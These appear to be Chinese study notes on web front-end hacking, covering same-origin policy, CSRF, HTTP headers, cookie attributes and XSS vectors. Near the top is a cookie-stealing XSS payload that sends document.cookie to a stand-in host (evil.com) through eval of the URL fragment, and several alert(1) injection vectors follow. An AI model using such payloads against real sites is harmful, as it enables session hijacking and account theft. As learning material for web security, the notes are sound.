web前端黑客技术揭秘
获取cookie
url 输入 http://www.foo.com/info.html#new%20Image().src="http://www.evil.com/stea1.php?c="+escape(document.cookie);
<srcipt>
eval(location.hash.substr(1));
</script>
从而获取cookie信息
站点相同判断
1同协议
2同域
3同端口
读写权限
referer 只读
cookie 可读写
资源 http消息头 DOM树 浏览器存储
在同一个域内客户端脚本可以任意读写同源内的资源 前提是这个资源本身是可读可写的
网站安全性 要做好权限分离
常用社工辅助技巧 Google Hack ,SNS垂直搜索,各种收集的数据库集合查询等
CSRF跨站请求伪造
1提交包含恶意SQL语句的后台链接
2管理员登陆WEB应用被诱骗打开了这条链接
3CSRF发生,此时就会以管理员权限进行后续的指令执行
WEB安全事件角色
1W3C
2浏览器厂商
3WEB厂商
4攻击者
5被攻击者
URL格式 <scheme>://<netloc>/<path>?<query>#<fragment>
URL编码 escape encodeURI encodeURICompnent
HTTP协议
GET http://www.foo.com/ HTTP/1.1
Accept-Encoding gzip, deflate
Accept-Language zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection keep-alive
Cookie _javaeye_cookie_id_=1426233442583090; _javaeye3_session_=BAh7BjoPc2Vzc2lvbl9pZCIlYjRjM2Y5MDVhMzAwOGYzNDMyNzhlZWJlNjAwZTU4NGE%3D--f14088eb13c70aea71e35ce257ffc26b14bc36ee; dc_tos=nm5mm0; dc_session_id=1427936184516
Host www.iteye.com
Referer http://rubel.iteye.com/weibo //我从哪里来
User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 //我是谁
Accept-Ranges bytes
Age 95589
Cache-Control max-age=31104000
Content-Encoding gzip
Content-Length 62256 //响应体长度
Content-Type text/javascript //响应资源的类型与字符集
Date Thu, 12 Mar 2015 05:24:14 GMT
Etag "3656212338"
Expires Tue, 01 Mar 2016 19:45:51 GMT
Last-Modified Tue, 15 Jan 2013 01:48:38 GMT
Server ASERVER/1.2.9-3 //服务器信息
Vary Accept-Encoding
X-Powered-By-Anquanbao HIT from nup-dg-wy-sb4 //服务器端语言信息
Set-Cookie: USERID=c7888882e039b32fd7b4d3; expires=Tue, 01 Jan 2030
00:00:00 GMT; path=/; domain=.foo.com //expire 过期时间 path相对路径 domain 域名 Httponly:标志(默认无,如果有的话,表明Cookie 存在于HTTP 层面,不能被客户端脚本读取)。
Secure:标志(默认无,如果有的话,表明Cookie 仅通过HTTPS 协议进行安全传输)
<iframe marginheight="0" marginwidth="0" frameborder="0" width="820"height="90" scrolling="no" src="http://msn.allyes.com/main/adfshow?user=MSN|Home_Page|Homepage_2nd_banner_820x90&db=msn&border=0&local=yes"></iframe>攻击者入侵一个网站后,可以通过iframe 嵌入自己的网马页面,用户访问该网站后,被嵌入的网马页面就会执行
如果父页和子页之间是同域,那就很容易,父页可以通过调用子页的contentWindow来操作子页的DOM 树,同理,子页可以调用父页的contentWindow 来操作父页的DOM 树。如果它们不同域,则必须遵守同源策略,但子页还是可以对父页的location 值进行写操作,这样可以让父页重定向到其他网页,不过对location 的操作仅仅只有写权限,而没有读权限,这样就不能获取到父页location URL 的内容,否则有可能会造成隐私数据泄漏,比如,有的网站将身份认证token 存在于URL 中。
JavaScript 脚本除了出现在JS 格式文件里,被嵌入而执行外,还可以出现在HTML 的<script></script>标签内、HTML 的标签on 事件中,以及一些标签的href、src 等属性的伪协议(javascript:等)中。
<script>alert(1)</scipt>
<img src=# onerror="alert(1)" />
<input type="text" value="x" onmouseover="alert(1)" />
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">x</a>
获取cookie document.cookie 可以获取到
获取URL 地址中的数据 window.location
AJAX 是严格遵守同源策略的,既不能从另一个域读取数据,也不能发送数据到另一个域。
IE 下不使用XMLHttpRequest 对象,而是自己的XDomainRequst 对象,实例化后,使用方式与XMLHttpRequest 基本一致。如下代码能让我们的CORS 方案兼容:
Cookie 的重要字段如下:
[name][value][domain][path][expires][httponly][secure]
那么,domain 值默认为a.foo.com。有趣的是,a.foo.com 域设置Cookie 时,可以指定
domain 为父级域,比如:
document.cookie="test=1;domain=foo.com";
浙公网安备 33010602011771号